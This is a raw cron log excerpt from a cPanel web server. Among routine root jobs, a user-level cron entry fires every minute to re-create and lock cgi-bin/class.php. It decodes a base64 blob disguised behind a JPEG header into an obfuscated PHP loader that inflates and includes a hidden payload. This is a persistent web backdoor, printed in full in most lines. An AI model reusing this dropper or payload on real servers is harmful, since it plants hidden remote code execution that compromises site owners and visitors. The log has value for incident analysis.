LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:49:01 server CROND[644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:50:01 server CROND[826]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:50:01 server CROND[827]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 01:50:01 server CROND[828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:50:01 server CROND[830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:50:01 server CROND[829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 01:51:01 server CROND[943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:52:01 server CROND[1007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:53:01 server CROND[1055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:54:01 server CROND[1104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:55:01 server CROND[1274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:55:01 server CROND[1275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:55:01 server CROND[1276]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:56:01 server CROND[1402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:57:01 server CROND[1472]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 01:57:01 server CROND[1473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:58:01 server CROND[1550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:59:01 server CROND[1633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:00:01 server CROND[1824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 02:00:01 server CROND[1825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:00:01 server CROND[1827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:00:01 server CROND[1828]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 02:00:01 server CROND[1829]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr 11 02:00:01 server CROND[1832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:01:01 server CROND[1999]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 02:01:01 server CROND[2000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:01:01 server run-parts(/etc/cron.hourly)[1999]: starting 0anacron
Apr 11 02:01:01 server anacron[2013]: Anacron started on 2025-04-11
Apr 11 02:01:01 server anacron[2013]: Normal exit (0 jobs run)
Apr 11 02:01:01 server run-parts(/etc/cron.hourly)[2015]: finished 0anacron
